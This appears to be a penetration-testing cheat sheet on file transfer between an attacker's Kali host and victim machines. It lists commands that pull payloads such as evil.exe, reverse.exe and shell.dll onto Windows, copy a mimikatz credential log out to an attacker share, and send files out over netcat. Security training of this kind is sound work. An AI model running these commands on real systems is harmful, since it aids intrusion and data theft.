📦 File Transfer
Payloads to transfer: payloads-shells.
Serve files from Kali
python3 -m http.server 80
impacket-smbserver -smb2support nameDIR $(pwd)
# authenticated SMB share:
impacket-smbserver test . -smb2support -username pass -password passOptional /etc/samba/smb.conf share:
[SHARE]
path = /opt/tools/
browseable = yes
read only = no
create mask = 777
guest ok = yes
force user = nobody
force group = nogroupPull onto Windows
Over SMB
copy \\L_IP\nameDIR\filename c:\Users\Tony\
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe
net use m: \\Kali_IP\test /user:pass pass # map a drive first
copy mimikatz.log m:\ # then copy to itOver HTTP (CMD)
curl -O http://192.168.49.68/evil.exe
certutil.exe -urlcache -split -f http://192.168.49.68/evil.exe C:\evil.exeOver HTTP (PowerShell)
Invoke-WebRequest -Uri http://IP/x.exe -OutFile x.exe # alias: iwr
(New-Object System.Net.WebClient).DownloadFile("http://IP/shell.dll","C:\shell.dll")Via RDP drive mount
xfreerdp ... /drive:test,/home/kali/Documents # then inside: copy file \\tsclient\test\Netcat transfer
# attacker: nc -nvlp 443 > filename
# victim: nc 172.16.1.30 443 < filepathSCP
scp ./file1 remote_user@192.168.10.1:/home/user/tmp/file1 # host → remote
scp remote_user@192.168.10.1:/home/user/file1 . # remote → host